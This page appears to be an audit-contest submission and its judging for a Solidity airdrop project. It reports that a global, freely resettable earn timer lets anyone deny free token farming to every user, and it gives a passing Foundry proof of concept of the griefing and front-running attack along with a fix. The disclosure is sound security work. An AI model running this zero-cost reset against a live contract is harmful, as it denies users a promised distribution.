Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: low
Valid

Snow::s_earnTimer` is a single global slot that `buySnow(0)` resets for free, letting anyone deny free farming to every user permanently

augustwh11

A single global s_earnTimer, resettable at zero cost through buySnow(0), permanently denies free Snow farming to every user

Description

  • Snow is meant to be earnable for free once a week, per user — the README states the token "can either be earned for free onece a week, or bought at anytime". Each user should therefore have their own weekly cooldown, and buying tokens should have nothing to do with that cooldown.

  • s_earnTimer is declared as one uint256 storage slot shared by the whole contract rather than a per-user mapping, so a single successful earnSnow() rate-limits every other address for a week. buySnow also writes that same slot, and calling buySnow(0) with msg.value == 0 passes the equality check, mints nothing, costs nothing, and still resets the timer — so any address can renew the freeze forever for gas alone.

// src/Snow.sol:30
@> uint256 private s_earnTimer; // @> ONE slot for the whole contract, not mapping(address => uint256)
​
// src/Snow.sol:92-99
function earnSnow() external canFarmSnow {
@> if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) { // @> reads the shared slot
revert S__Timer();
}
_mint(msg.sender, 1);
@> s_earnTimer = block.timestamp; // @> one user's earn blocks everyone else for a week
}
​
// src/Snow.sol:79-90
function buySnow(uint256 amount) external payable canFarmSnow {
@> if (msg.value == (s_buyFee * amount)) { // @> amount == 0 => 0 == 0 => TRUE, ETH branch taken
_mint(msg.sender, amount); // mints 0, transfers nothing, needs no allowance
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
​
@> s_earnTimer = block.timestamp; // @> a PURCHASE resets the FREE-EARN clock, for free
emit SnowBought(msg.sender, amount);
}

With amount == 0 the ETH branch executes: no WETH transfer is attempted, no allowance or balance is required, _mint(caller, 0) is a no-op, and the only real state write is s_earnTimer = block.timestamp. Measured cost is 41 089 gas warm / 58 189 cold, and zero wei.

The zero-amount guard was in the author's hands and was not applied to this function:

// src/Snow.sol:24, 65-67
error S__ZeroValue(); // declared...
...
if (_buyFee == 0) { // ...and applied to the CONSTRUCTOR's fee
revert S__ZeroValue();
}
@> // @> but never applied to buySnow's `amount`, which is what makes the free reset possible

Risk

Likelihood:

  • Every call to buySnow(0) with zero value succeeds and resets the timer. The caller needs no ETH, no WETH, no allowance, and no Snow balance — only gas — so nothing exists that could make the attack fail.

  • The griefing window is exactly the protocol's useful life: buySnow and earnSnow share the same canFarmSnow modifier (src/Snow.sol:53-58), so the reset stays available for 100% of the 12-week farming period.

  • The attack is also profitable to run, which makes it likely rather than merely possible: once free farming is denied, the only remaining way to obtain Snow is buySnow at 5 ETH per wei, and collectFee (src/Snow.sol:101-107) routes 100% of those proceeds to the fee collector.

  • Even with no attacker present at all, the flaw manifests on every deployment, because the shared slot rate-limits honest users against each other from the first earnSnow() call onward.

Impact:

  • Free Snow distribution is permanently denied to every user for roughly $15–45 of gas — one buySnow(0) per week at 10–30 gwei for the whole twelve-week programme.

  • Even without an attacker, the global slot caps the entire free-farming programme at one wei per week protocol-wide. Measured: 100 distinct addresses calling earnSnow() every day for the full 12-week window produce 12 successful mints and a total supply of 12 wei — for the whole world, for the entire life of the programme.

  • The same call is a same-block censorship primitive: an attacker front-runs one specific victim's pending earnSnow and reverts it, at zero cost, repeatably.

  • The denial propagates into the airdrop. SnowmanAirdrop.sol:76-78 reverts SA__ZeroAmount for a zero balance, and every Merkle leaf in script/flakes/input.json commits amount = "1", so a whitelisted claimant holding no Snow must obtain exactly 1 wei to claim — and the free path is precisely the one being shut off.

Proof of Concept

Save as test/PoCH03.t.sol and run forge test --match-contract PoCH03 -vv. The fixture uses the same constructor arguments as the project's own script/DeploySnow.s.sol (FEE = 5).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
contract PoCH03 is Test {
Snow snow;
MockWETH weth;
​
address collector = makeAddr("collector");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address attacker = makeAddr("attacker");
​
uint256 constant FEE = 5; // the same value the project's DeploySnow.s.sol uses
​
function setUp() public {
weth = new MockWETH();
snow = new Snow(address(weth), FEE, collector);
}
​
/// The timer is global: bob is rate-limited by alice's action.
function test_H03_GlobalEarnTimerBlocksEveryoneElse() public {
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
​
vm.prank(bob);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
}
​
/// 100 distinct users, trying daily for the whole farming window.
function test_H03b_GlobalTimerCapsTotalFreeSupplyAtTwelveWei() public {
uint256 start = block.timestamp;
uint256 succeeded;
​
while (block.timestamp < start + 12 weeks - 1 days) {
for (uint256 u = 0; u < 100; u++) {
address user = address(uint160(0x1000 + u));
vm.prank(user);
try snow.earnSnow() { succeeded++; } catch {}
}
vm.warp(block.timestamp + 1 days);
}
​
assertEq(succeeded, 12, "100 users, 12 weeks of daily attempts -> 12 successful mints");
assertEq(snow.totalSupply(), 12, "total free supply for the entire program");
}
​
/// buySnow(0) with zero value costs nothing and denies farming to everyone.
function test_H03c_FreeBuySnowZeroFreezesFarmingForever() public {
for (uint256 week = 0; week < 10; week++) {
vm.prank(attacker);
snow.buySnow{value: 0}(0); // costs nothing, mints nothing
​
vm.warp(block.timestamp + 1 weeks - 1);
​
vm.prank(bob);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
}
​
assertEq(snow.balanceOf(attacker), 0, "attacker minted nothing");
assertEq(attacker.balance, 0, "attacker spent nothing but gas");
assertEq(snow.balanceOf(bob), 0, "bob could never farm");
}
​
/// Same-block censorship of one specific victim, for free.
function test_H03d_ZeroCostFrontRunCensorsASpecificVictim() public {
vm.warp(block.timestamp + 2 weeks); // victim is eligible
​
vm.prank(attacker);
snow.buySnow{value: 0}(0); // attacker front-runs, pays nothing
​
vm.prank(bob);
vm.expectRevert(Snow.S__Timer.selector);
snow.earnSnow();
​
assertEq(attacker.balance, 0);
}
}

Result:

[PASS] test_H03_GlobalEarnTimerBlocksEveryoneElse() (gas: 94724)
[PASS] test_H03b_GlobalTimerCapsTotalFreeSupplyAtTwelveWei() (gas: 35534925)
[PASS] test_H03c_FreeBuySnowZeroFreezesFarmingForever() (gas: 238901)
[PASS] test_H03d_ZeroCostFrontRunCensorsASpecificVictim() (gas: 58298)
Suite result: ok. 4 passed; 0 failed; 0 skipped

Note on the project's own tooling

test/TestSnow.t.sol never has two different users call earnSnow() — every call (:38, :44, :49, :103) uses the same address, so the suite never observes the cross-user effect and does not assert the global behaviour as intended. Conversely script/Helper.s.sol:39,45,51,57 inserts vm.warp(block.timestamp + 1 weeks) between five different users, a workaround that is only necessary because the timer is global.

Recommended Mitigation

Make the cooldown per-user, reject zero-amount purchases, and stop letting a purchase touch the farming timer.

- uint256 private s_earnTimer;
+ mapping(address => uint256) private s_earnTimer;
​
function buySnow(uint256 amount) external payable canFarmSnow {
+ if (amount == 0) {
+ revert S__ZeroValue();
+ }
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
-
- s_earnTimer = block.timestamp;
​
emit SnowBought(msg.sender, amount);
}
​
function earnSnow() external canFarmSnow {
- if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
+ if (s_earnTimer[msg.sender] != 0 && block.timestamp < (s_earnTimer[msg.sender] + 1 weeks)) {
revert S__Timer();
}
_mint(msg.sender, 1);
-
- s_earnTimer = block.timestamp;
+ s_earnTimer[msg.sender] = block.timestamp;
+ emit SnowEarned(msg.sender, 1);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 15 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-02] Global Timer Reset in Snow::buySnow Denies Free Claims for All Users

## Description: The `Snow::buySnow` function contains a critical flaw where it resets a global timer `(s_earnTimer)` to the current block timestamp on every invocation. This timer controls eligibility for free token claims via `Snow::earnSnow()`, which requires 1 week to pass since the last timer reset. As a result: Any token purchase `(via buySnow)` blocks all free claims for all users for 7 days Malicious actors can permanently suppress free claims with micro-transactions Contradicts protocol documentation promising **"free weekly claims per user"** ## Impact: * **Complete Denial-of-Service:** Free claim mechanism becomes unusable * **Broken Protocol Incentives:** Undermines core user acquisition strategy * **Economic Damage:** Eliminates promised free distribution channel * **Reputation Harm:** Users perceive protocol as dishonest ```solidity function buySnow(uint256 amount) external payable canFarmSnow { if (msg.value == (s_buyFee * amount)) { _mint(msg.sender, amount); } else { i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount)); _mint(msg.sender, amount); } @> s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` ## Risk **Likelihood**: • Triggered by normal protocol usage (any purchase) • Requires only one transaction every 7 days to maintain blockage • Incentivized attack (low-cost disruption) **Impact**: • Permanent suppression of core protocol feature • Loss of user trust and adoption • Violates documented tokenomics ## Proof of Concept **Attack Scenario:** Permanent Free Claim Suppression * Attacker calls **buySnow(1)** with minimum payment * **s\_earnTimer** sets to current timestamp (T0) * All **earnSnow()** calls revert for **next 7 days** * On day 6, attacker repeats **buySnow(1)** * New timer reset (T1 = T0+6 days) * Free claims blocked until **T1+7 days (total 13 days)** * Repeat step **4 every 6 days → permanent blockage** **Test Case:** ```solidity // Day 0: Deploy contract snow = new Snow(...); // s_earnTimer = 0 // UserA claims successfully snow.earnSnow(); // Success (first claim always allowed) // Day 1: UserB buys 1 token snow.buySnow(1); // Resets global timer to day 1 // Day 2: UserA attempts claim snow.earnSnow(); // Reverts! Requires day 1+7 = day 8 // Day 7: UserC buys 1 token (day 7 < day 1+7) snow.buySnow(1); // Resets timer to day 7 // Day 8: UserA retries snow.earnSnow(); // Still reverts! Now requires day 7+7 = day 14 ``` ## Recommended Mitigation **Step 1:** Remove Global Timer Reset from `buySnow` ```diff function buySnow(uint256 amount) external payable canFarmSnow { // ... existing payment logic ... - s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` **Step 2:** Implement Per-User Timer in `earnSnow` ```solidity // Add new state variable mapping(address => uint256) private s_lastClaimTime; function earnSnow() external canFarmSnow { // Check per-user timer instead of global if (s_lastClaimTime[msg.sender] != 0 && block.timestamp < s_lastClaimTime[msg.sender] + 1 weeks ) { revert S__Timer(); } _mint(msg.sender, 1); s_lastClaimTime[msg.sender] = block.timestamp; // Update user-specific timer emit SnowEarned(msg.sender, 1); // Add missing event } ``` **Step 3:** Initialize First Claim (Constructor) ```solidity constructor(...) { // Initialize with current timestamp to prevent immediate claims s_lastClaimTime[address(0)] = block.timestamp; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!